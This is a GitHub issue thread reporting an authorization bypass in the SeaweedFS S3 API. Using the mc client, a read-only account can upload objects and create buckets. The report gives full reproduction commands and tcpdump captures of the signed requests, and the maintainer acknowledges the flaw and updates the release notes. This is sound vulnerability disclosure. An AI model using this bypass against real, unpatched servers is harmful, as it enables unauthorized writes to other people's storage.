Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

S3 authorization bypass using "mc" client #2180

Closed
candlerb opened this issue Jul 3, 2021 · 5 comments
Closed

S3 authorization bypass using "mc" client #2180

candlerb opened this issue Jul 3, 2021 · 5 comments

Comments

@candlerb
Copy link

candlerb commented Jul 3, 2021 •
edited

Describe the bug
S3 requests as sent by mc (minio client) are able to bypass many of the access controls in weed S3 API.

System Setup
I am using Ubuntu 18.04. Install weed 2.56 binary:

wget https://github.com/chrislusf/seaweedfs/releases/download/2.56/linux_amd64.tar.gz
tar -xvzf linux_amd64.tar.gz
mkdir /tmp/weed

Create config.json:

{ "identities": [
    { "name": "admin",
      "credentials": [ { "accessKey": "admin", "secretKey": "adminpass" } ],
      "actions": [ "Admin", "List", "Tagging" ] },
    { "name": "writer1",
      "credentials": [ { "accessKey": "writer1", "secretKey": "writer1pass" } ],
      "actions": [ "Write:bucket1", "List:bucket1" ] },
    { "name": "reader1",
      "credentials": [ { "accessKey": "reader1", "secretKey": "reader1pass" } ],
      "actions": [ "Read:bucket1", "List:bucket1" ] },
    { "name": "reader2",
      "credentials": [ { "accessKey": "reader2", "secretKey": "reader2pass" } ],
      "actions": [ "Read:bucket2", "List:bucket2" ] }
  ] }

Run server:

./weed server -s3 -s3.config=./config.json -dir=/tmp/weed -master.volumeSizeLimitMB=100 -volume.max 0

In another window:

./weed shell
fs.configure -locationPrefix=/buckets/ -volumeGrowthCount=1 -apply
^D

Using awscli, things work as expected:

sudo apt-get install awscli --no-install-recommends  # gives 1.18.69

aws configure set default.s3.signature_version s3v4
aws configure --profile admin   # give admin, adminpass, <enter>, <enter>
aws configure --profile writer1 # give writer1, writer1pass, <enter>, <enter>
aws configure --profile reader1
aws configure --profile writer1
aws configure --profile junk    # give random id and secret

alias aww="aws --endpoint-url http://localhost:8333"

Basic tests:

$ aww --profile junk s3 mb s3://bucket1
make_bucket failed: s3://bucket1 An error occurred (InvalidAccessKeyId) when calling the CreateBucket operation: The access key ID you provided does not exist in our records.
$ aww --profile admin s3 mb s3://bucket1
make_bucket: bucket1
$ aww --profile reader1 s3 ls s3://bucket1
$ aww --profile reader2 s3 ls s3://bucket1

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied.
$ echo world >hello
$ aww --profile reader1 s3 cp hello s3://bucket1/hello
upload failed: ./hello to s3://bucket1/hello An error occurred (AccessDenied) when calling the PutObject operation: Access Denied.

As expected, the "reader1" account cannot create an object in "bucket1", as it has only List and Read permissions on that bucket; and the "reader2" account cannot see "bucket1".

Problem situation

The problem occurs when you use a different client, mc. Download:

wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x mc

Configure it with the 'reader1' creds:

./mc alias set reader1 http://localhost:8333 reader1 reader1pass

Problem 1: attempt to upload a file using the "reader1" creds:

$ ./mc cp hello reader1/bucket1/hello
hello:                              6 B / 6 B ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 24 B/s 0s
$ ./mc ls reader1/bucket1/
[2021-07-03 10:22:48 UTC]     6B hello
$

It was uploaded successfully!

Problem2: as expected, reader1 doesn't have rights to create a bucket:

$ ./mc mb reader1/bucket2
mc: <ERROR> Unable to make bucket `reader1/bucket2`. Access Denied.

But it can upload to a non-existent bucket, and the bucket is created as a side effect!!

$ ./mc ls reader1/
[2021-07-03 10:02:09 UTC]     0B bucket1/
$ ./mc cp hello reader1/bucket2/hello
hello:                              6 B / 6 B ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 26 B/s 0s
$

Check for existence of bucket:

$ ./mc ls reader1/
[2021-07-03 10:02:09 UTC]     0B bucket1/
$ ./mc alias set admin http://localhost:8333 admin adminpass
Added `admin` successfully.
$ ./mc ls admin/
[2021-07-03 10:02:09 UTC]     0B bucket1/
[2021-07-03 10:24:52 UTC]     0B bucket2/
$

Even though reader1 can't see the bucket, it was able to both create the bucket and upload an object into it.

Expected behavior
Obviously, the ACL should not be bypassable under any circumstances, by any client which only has access to the "reader1" credentials.

I expect that mc requests are valid S3 requests, but something about the payload is causing weed to skip authorization. It appears that weed is "failing open" (i.e. it defaults to permit, rather than default to deny) when the request is not as expected.

Screenshots
I can compare tcpdump of a request send by awscli, versus one sent by mc. (sudo tcpdump -i lo -nn -s0 -A tcp port 8333)

Command: aww --profile reader1 s3 cp hello s3://bucket1/test123

>>> PUT /bucket1/test123 HTTP/1.1
Host: localhost:8333
Accept-Encoding: identity
User-Agent: aws-cli/1.18.69 Python/3.6.9 Linux/5.4.0-77-generic botocore/1.16.19
Content-MD5: WReFt5RgHiErJg4lklY2/Q==
Expect: 100-continue
X-Amz-Date: 20210703T103857Z
X-Amz-Content-SHA256: e258d248fda94c63753607f7c4494ee0fcbe92f1a76bfdac795c9d84101eb317
Authorization: AWS4-HMAC-SHA256 Credential=reader1/20210703/us-east-1/s3/aws4_request, SignedHeaders=content-md5;host;x-amz-content-sha256;x-amz-date, Signature=7ebcf950ecab9279c8e94ec2aef647602c42791c9eccb335e663f139310f18cf
Content-Length: 6

<<< HTTP/1.1 403 Forbidden
Accept-Ranges: bytes
Content-Length: 241
Content-Type: application/xml
Server: SeaweedFS S3 30GB 2.56
X-Amz-Request-Id: 1625308737854736932
Date: Sat, 03 Jul 2021 10:38:57 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied.</Message><Resource>/bucket1/test123</Resource><RequestId>1625308737854616138</RequestId><Key>test123</Key><BucketName>bucket1</BucketName></Error>

Command: ./mc cp hello reader1/bucket1/test456

>>> GET /bucket1/?location= HTTP/1.1
Host: localhost:8333
User-Agent: MinIO (linux; amd64) minio-go/v7.0.11 mc/RELEASE.2021-06-13T17-48-22Z
Authorization: AWS4-HMAC-SHA256 Credential=reader1/20210703/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=bc4194b81d9cfa52947564ec2876bc2987afa3e727c41c12b39f2138248d1464
X-Amz-Content-Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Date: 20210703T103951Z

<<< HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 453
Content-Type: application/xml
Server: SeaweedFS S3 30GB 2.56
X-Amz-Request-Id: 1625308791843508215
Date: Sat, 03 Jul 2021 10:39:51 GMT

<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>bucket1</Name><Prefix></Prefix><Marker></Marker><MaxKeys>10000</MaxKeys><IsTruncated>false</IsTruncated><Contents><Key>hello</Key><ETag>&#34;591785b794601e212b260e25925636fd&#34;</ETag><Size>6</Size><Owner><ID>3e8</ID></Owner><StorageClass>STANDARD</StorageClass><LastModified>2021-07-03T10:22:48Z</LastModified></Contents></ListBucketResult>

>>> HEAD /bucket1/test456 HTTP/1.1
Host: localhost:8333
User-Agent: MinIO (linux; amd64) minio-go/v7.0.11 mc/RELEASE.2021-06-13T17-48-22Z
Authorization: AWS4-HMAC-SHA256 Credential=reader1/20210703/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=c648eae3f410993decfb63e83cec5d907619327e96279ef0a6619b0453217bf1
X-Amz-Content-Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Date: 20210703T103951Z

<<< HTTP/1.1 404 Not Found
Accept-Ranges: bytes
Content-Length: 257
Content-Type: application/xml
Server: SeaweedFS S3 30GB 2.56
X-Amz-Request-Id: 1625308791846592951
Date: Sat, 03 Jul 2021 10:39:51 GMT

>>> GET /bucket1/?delimiter=%2F&encoding-type=url&fetch-owner=true&list-type=2&max-keys=1&prefix=test456 HTTP/1.1
Host: localhost:8333
User-Agent: MinIO (linux; amd64) minio-go/v7.0.11 mc/RELEASE.2021-06-13T17-48-22Z
Authorization: AWS4-HMAC-SHA256 Credential=reader1/20210703/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=f2947da956c91afb3b861d85e88362542b5a88c9225f11c05097fdf1237df159
X-Amz-Content-Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Date: 20210703T103951Z

<<< HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 266
Content-Type: application/xml
Server: SeaweedFS S3 30GB 2.56
X-Amz-Request-Id: 1625308791850149211
Date: Sat, 03 Jul 2021 10:39:51 GMT

<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>bucket1</Name><Prefix>test456</Prefix><MaxKeys>1</MaxKeys><Delimiter>/</Delimiter><IsTruncated>false</IsTruncated><KeyCount>0</KeyCount></ListBucketResult>

>>> GET /bucket1/?object-lock= HTTP/1.1
Host: localhost:8333
User-Agent: MinIO (linux; amd64) minio-go/v7.0.11 mc/RELEASE.2021-06-13T17-48-22Z
Authorization: AWS4-HMAC-SHA256 Credential=reader1/20210703/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=c966162f68cb6ef472c0a9bdedecb59819fd23bf9306a5666bdbd98ed6aea828
X-Amz-Content-Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Date: 20210703T103951Z

<<< HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 453
Content-Type: application/xml
Server: SeaweedFS S3 30GB 2.56
X-Amz-Request-Id: 1625308791855378713
Date: Sat, 03 Jul 2021 10:39:51 GMT

<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>bucket1</Name><Prefix></Prefix><Marker></Marker><MaxKeys>10000</MaxKeys><IsTruncated>false</IsTruncated><Contents><Key>hello</Key><ETag>&#34;591785b794601e212b260e25925636fd&#34;</ETag><Size>6</Size><Owner><ID>3e8</ID></Owner><StorageClass>STANDARD</StorageClass><LastModified>2021-07-03T10:22:48Z</LastModified></Contents></ListBucketResult>

>>> HEAD /bucket1/test456 HTTP/1.1
Host: localhost:8333
User-Agent: MinIO (linux; amd64) minio-go/v7.0.11 mc/RELEASE.2021-06-13T17-48-22Z
Authorization: AWS4-HMAC-SHA256 Credential=reader1/20210703/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=c648eae3f410993decfb63e83cec5d907619327e96279ef0a6619b0453217bf1
X-Amz-Content-Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Date: 20210703T103951Z

<<< HTTP/1.1 404 Not Found
Accept-Ranges: bytes
Content-Length: 257
Content-Type: application/xml
Server: SeaweedFS S3 30GB 2.56
X-Amz-Request-Id: 1625308791859043895
Date: Sat, 03 Jul 2021 10:39:51 GMT

>>> GET /bucket1/?delimiter=%2F&encoding-type=url&fetch-owner=true&list-type=2&max-keys=1&prefix=test456 HTTP/1.1
Host: localhost:8333
User-Agent: MinIO (linux; amd64) minio-go/v7.0.11 mc/RELEASE.2021-06-13T17-48-22Z
Authorization: AWS4-HMAC-SHA256 Credential=reader1/20210703/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=f2947da956c91afb3b861d85e88362542b5a88c9225f11c05097fdf1237df159
X-Amz-Content-Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Date: 20210703T103951Z

<<< HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 266
Content-Type: application/xml
Server: SeaweedFS S3 30GB 2.56
X-Amz-Request-Id: 1625308791863714004
Date: Sat, 03 Jul 2021 10:39:51 GMT

<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>bucket1</Name><Prefix>test456</Prefix><MaxKeys>1</MaxKeys><Delimiter>/</Delimiter><IsTruncated>false</IsTruncated><KeyCount>0</KeyCount></ListBucketResult>

>>> PUT /bucket1/test456 HTTP/1.1
Host: localhost:8333
User-Agent: MinIO (linux; amd64) minio-go/v7.0.11 mc/RELEASE.2021-06-13T17-48-22Z
Content-Length: 178
Authorization: AWS4-HMAC-SHA256 Credential=reader1/20210703/us-east-1/s3/aws4_request,SignedHeaders=host;x-amz-content-sha256;x-amz-date;x-amz-decoded-content-length,Signature=9558eb4634897e846c747b0fe53de7f0d4545fd6a0e50e573b573106a3162ecd
Content-Type: application/octet-stream
X-Amz-Content-Sha256: STREAMING-AWS4-HMAC-SHA256-PAYLOAD
X-Amz-Date: 20210703T103951Z
X-Amz-Decoded-Content-Length: 6

world

<<< HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 0
Etag: "591785b794601e212b260e25925636fd"
Server: SeaweedFS S3 30GB 2.56
X-Amz-Request-Id: 1625308791875363261
Date: Sat, 03 Jul 2021 10:39:51 GMT

All these exchanges took place on the same TCP connection (client port 53684, server port 8333) so keepalive is active.

Additional context
I can see that mc is sending several requests. I haven't determined whether it's the format of the final PUT which is bypassing the authorization, or the fact that there have been previous authorized requests from the same client on the same TCP session.

It also seems odd that in the 404 Not Found responses from weed, there is Content-Length: 257 but no content body that I can see. (EDIT: those are HEAD requests which don't return a body, but are permitted to include a Content-Length of the body they would have sent. Not all that useful for a 404 response, but allowed)
@candlerb candlerb changed the title S3 authentication bypass using "mc" client S3 authorization bypass using "mc" client Jul 3, 2021
@chrislusf
Copy link
Collaborator

Thanks for the detailed issue report! It saved a lot of time to ask for more details.

@candlerb
Copy link
Author

candlerb commented Jul 5, 2021

May I suggest that it would be a good idea to highlight this problem more clearly in the release notes?

This is a security hole big enough to drive a bus through, and as far as I can see, anyone who has the S3 server 2.56 on a public Internet address is vulnerable.

I also expect that a range of earlier versions are vulnerable too. s3ChunkedReader was introduced in 88f1d32 (Sep 2 2018), and streaming v4 with calculateSeedSignature was introduced in f3ce316 (Feb 9 2020)

@chrislusf
Copy link
Collaborator

Updated the release note. Thanks!

@candlerb
Copy link
Author

candlerb commented Jul 5, 2021

Thanks. Small suggestion for improvement in the wording: change

... to write to a bucket ...

to:

... to write to any bucket ...

@chrislusf
Copy link
Collaborator

Done! Thanks for being strict! :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
2 participants
@candlerb @chrislusf